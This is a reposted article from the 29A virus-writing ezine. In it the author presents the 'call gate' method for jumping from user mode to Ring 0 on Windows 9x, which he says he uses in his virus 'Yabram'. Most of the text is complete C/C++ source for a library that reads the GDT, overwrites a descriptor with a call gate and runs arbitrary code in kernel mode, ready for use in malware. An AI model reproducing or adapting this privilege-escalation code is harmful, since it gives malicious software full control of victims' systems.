Copy Link
Add to Bookmark
Report

29A Issue 03 02 04

eZine's profile picture
Published in 
29A
 · 4 years ago

  


Pass to Ring 0 with C/C++


by SoPinKy... Made in Argentina

It is a techniques called "Call Gate technique" to pass to Ring 0.
I use this technique in my virus "Yabram".
I code this techniques in MASM and C/C++.

This technique consist in install a GDT Call Gate to pass to Ring 0.

Resume of Callgate technique:
1) Search the GDT to find the descriptors of the Ring 0 code.
2) Save the first valid entry of the GDT.
3) Replase the first valid entry of the GDT with a Callgate.
4) Call the Callgate.
5) In my Ring 0 code i restore the GDT entry.
6) Setting the DS, ES, GS, SS register.
7) Exec the Ring 0 code ;)
8) RetF... hehehe i back to Ring 3.
9) Restore the DS, ES, GS, SS.


This techniques is very secure.... ever works correctly.

i coded the DirectHackers.h library... with these library i can pass a proc to
Ring 0.

The most usefull procs are:

-InitDirectH():
This proc, search the GDT to find the descriptors of the Ring 0 code
and save this descriptors.
Save the first valid entry of the GDT.

-CallRing0(Ring0Proc);
Ring0Proc is a pointer of the proc to Call.
This proc, Replase the first valid entry of the GDT with a Callgate.
Call the Callgate.
When the Ring0Proc return, restore the DS, ES, GS, SS.

-InitRing0();
This proc, restore the GDT entry.
Setting the DS, ES, GS, SS register for Ring 0.


-RetCallback
is a macro for return a Ring 3.


Note:
if you need install a program linking with C/C++ compiler as a VXD..
you must by Looked the memory used by all proc in Ring 0.



Thanks:
Vecna _ Hey You are a genius... and Argentinian too...
GriYo _ You are a genius too ;)
MrSandman _ Tnx very much. ;)
int13h _ You are crazy man...... Aguante SudAmeRiCa CaRajo!!!
darkman _ Tnx for correct my bad english ;)
Ypsilon _ You are fany :)
Somnium _ By to be woman... and Argentinian too...
ViruBust _ AVPMan ... hehehe... you are great ;)
WinterMute _ Whats happens with EMMA?? hahaha
Reptille- _ You are my friends... my youngest friend :)
Superx _ A Super Man... A Super Coder... A Super X hehehe
JQwerty _ You are my inspiration.......



Example:

Main.CPP
------------------------------------CUT--------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"


//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
{
int 20h //get current vm
_emit 0x01 //Function ID
_emit 0x00
_emit VMM_ID //VXD ID
_emit 0x00
//in ebx i have the handle of virtual machine
}

RetCallback;
};

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,
PSTR lpCmdLine,int nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h
------------------------------------CUT--------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h

#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register

Comp *Callb,Callbcpy; //a callbacks hahaha

//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;

InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;

__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}

//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;


}
cs0=a<<3;

//Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x93 &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;
}
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}

//Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;

__asm sgdt gdt;
gdtdesc=(Descriptor *)(gdt.base+8);
Callb=(Comp *)(gdt.base+8);

Callbcpy.sel=Callb->sel; //make a copy
Callbcpy.attrib=Callb->attrib;
Callbcpy.offs_l=Callb->offs_l;
Callbcpy.offs_h=Callb->offs_h;

Callb->sel=cs0;
Callb->attrib=0xec00;;

__asm
{
mov eax,PUNTERO
mov l,ax
shr eax,16
mov h,ax
}
Callb->offs_l=l;
Callb->offs_h=h;
__asm {
push ds
push es
push gs
push fs
}//save the ring 3 segment selectors


__asm //Call the CALL GATE!!!!
{
cli
call FWORD PTR salto
}
//restore de segment selectors in ring 3
__asm
{
cli
pop fs
pop gs
pop es
pop ds
sti
}
return;
}


InitRing0()
{
FPWORD gdt;
Comp *Callb;

__asm sgdt gdt;
__asm cli
Callb=(Comp *)(gdt.base+8);
Callb->sel=Callbcpy.sel;
Callb->attrib=Callbcpy.attrib;
Callb->offs_l=Callbcpy.offs_l;
Callb->offs_h=Callbcpy.offs_h;
__asm
{
mov ds,ds0
mov es,es0
mov fs,fs0
mov gs,gs0
sti

//int 3h
int 20h
_emit 0x08 //get the thead handle
_emit 0x01
_emit VMM_ID
_emit 0x00
mov TR,edi
int 20h
_emit 0x01 //get current vm
_emit 0x00
_emit VMM_ID
_emit 0x00
mov VM,ebx //current VM handle, osea de sistema
sti
}
}
#endif

------------------------------------CUT--------------------------------------
VMMStruct.h
------------------------------------CUT--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h

//definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version 0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID 0x0002A
#define SHELL_ID 0x00017
#define word unsigned short
#define dword unsigned int
#define DWORD unsigned int
#define WORD unsigned short
#define byte unsigned char
#define BYTE unsigned char

//Structs
#pragma pack(1)
typedef struct
{
word limite;
dword base;
}FPWORD;

typedef struct
{
dword offset32;
word seg;
}FARJMP;

//struct of descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;

typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;

//compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;

//Description Block
typedef struct {
ULONG DDB_Next; /* VMM RESERVED FIELD */
USHORT DDB_SDK_Version; /* INIT <DDK_VERSION> RESERVED FIELD */
USHORT DDB_Req_Device_Number;/* INIT <UNDEFINED_DEVICE_ID> */
UCHAR DDB_Dev_Major_Version; /* INIT <0> Major device number */
UCHAR DDB_Dev_Minor_Version; /* INIT <0> Minor device number */
USHORT DDB_Flags; /* INIT <0> for init calls complete */
UCHAR DDB_Name[8]; /* AINIT <" "> Device name */
ULONG DDB_Init_Order; /* INIT <UNDEFINED_INIT_ORDER> */
ULONG DDB_Control_Proc;/* Offset of control procedure */
ULONG DDB_V86_API_Proc;/* INIT <0> Offset of API procedure */
ULONG DDB_PM_API_Proc; /* INIT <0> Offset of API procedure */
ULONG DDB_V86_API_CSIP;/* INIT <0> CS:IP of API entry point */
ULONG DDB_PM_API_CSIP; /* INIT <0> CS:IP of API entry point */
ULONG DDB_Reference_Data; /* Reference data from real mode */
ULONG DDB_Service_Table_Ptr;/* INIT <0> Pointer to service table */
ULONG DDB_Service_Table_Size; /* INIT <0> Number of services */
ULONG DDB_Win32_Service_Table;/* INIT <0> Pointer to Win32 services */
ULONG DDB_Prev; /* INIT <'Prev'> Ptr to prev 4.0 DDB */
ULONG DDB_Size; /* INIT <SIZE(VxD_Desc_Block)> Reserved */
ULONG DDB_Reserved1;/* INIT <'Rsv1'> Reserved */
ULONG DDB_Reserved2;/* INIT <'Rsv2'> Reserved */
ULONG DDB_Reserved3;/* INIT <'Rsv3'> Reserved */
}Desc_Block;


//Control block
typedef struct {
ULONG Client_EDI; /* Client's EDI */
ULONG Client_ESI; /* Client's ESI */
ULONG Client_EBP; /* Client's EBP */
ULONG Client_res0; /* ESP at pushall */
ULONG Client_EBX; /* Client's EBX */
ULONG Client_EDX; /* Client's EDX */
ULONG Client_ECX; /* Client's ECX */
ULONG Client_EAX; /* Client's EAX */
ULONG Client_Error; /* Dword error code */
ULONG Client_EIP; /* EIP */
USHORT Client_CS; /* CS */
USHORT Client_res1; /* (padding) */
ULONG Client_EFlags; /* EFLAGS */
ULONG Client_ESP; /* ESP */
USHORT Client_SS; /* SS */
USHORT Client_res2; /* (padding) */
USHORT Client_ES; /* ES */
USHORT Client_res3; /* (padding) */
USHORT Client_DS; /* DS */
USHORT Client_res4; /* (padding) */
USHORT Client_FS; /* FS */
USHORT Client_res5; /* (padding) */
USHORT Client_GS; /* GS */
USHORT Client_res6; /* (padding) */
ULONG Client_Alt_EIP;
USHORT Client_Alt_CS;
USHORT Client_res7;
ULONG Client_Alt_EFlags;
ULONG Client_Alt_ESP;
USHORT Client_Alt_SS;
USHORT Client_res8;
USHORT Client_Alt_ES;
USHORT Client_res9;
USHORT Client_Alt_DS;
USHORT Client_res10;
USHORT Client_Alt_FS;
USHORT Client_res11;
USHORT Client_Alt_GS;
USHORT Client_res12;
}Client_Reg_Struc;

typedef struct Thread_Control_Block {
ULONG TCB_Flags; /* Thread status flags */
ULONG TCB_Reserved1; /* Used internally by VMM */
ULONG TCB_Reserved2; /* Used internally by VMM */
ULONG TCB_Signature;
ULONG TCB_ClientPtr; /* Client registers of thread */
ULONG TCB_VMHandle; /* VM that thread is part of */
USHORT TCB_ThreadId; /* Unique Thread ID */
USHORT TCB_PMLockOrigSS; /* Original SS:ESP before lock stack */
ULONG TCB_PMLockOrigESP;
ULONG TCB_PMLockOrigEIP; /* Original CS:EIP before lock stack */
ULONG TCB_PMLockStackCount;
USHORT TCB_PMLockOrigCS;
USHORT TCB_PMPSPSelector;
ULONG TCB_ThreadType; /* dword passed to VMMCreateThread */
USHORT TCB_pad1; /* reusable; for dword align */
UCHAR TCB_pad2; /* reusable; for dword align */
UCHAR TCB_extErrLocus; /* extended error Locus */
USHORT TCB_extErr; /* extended error Code */
UCHAR TCB_extErrAction; /* " " Action */
UCHAR TCB_extErrClass; /* " " Class */
ULONG TCB_extErrPtr; /* " pointer */
}Thread_Control_Block;

typedef struct
{
DWORD CB_VM_Status ;
DWORD CB_High_Linear ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID ;
DWORD CB_Signature ;
}Control_Block;
#endif
------------------------------------CUT--------------------------------------

by SoPinKy... Made in Argentina by SoPinKy... Made in Argentina

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT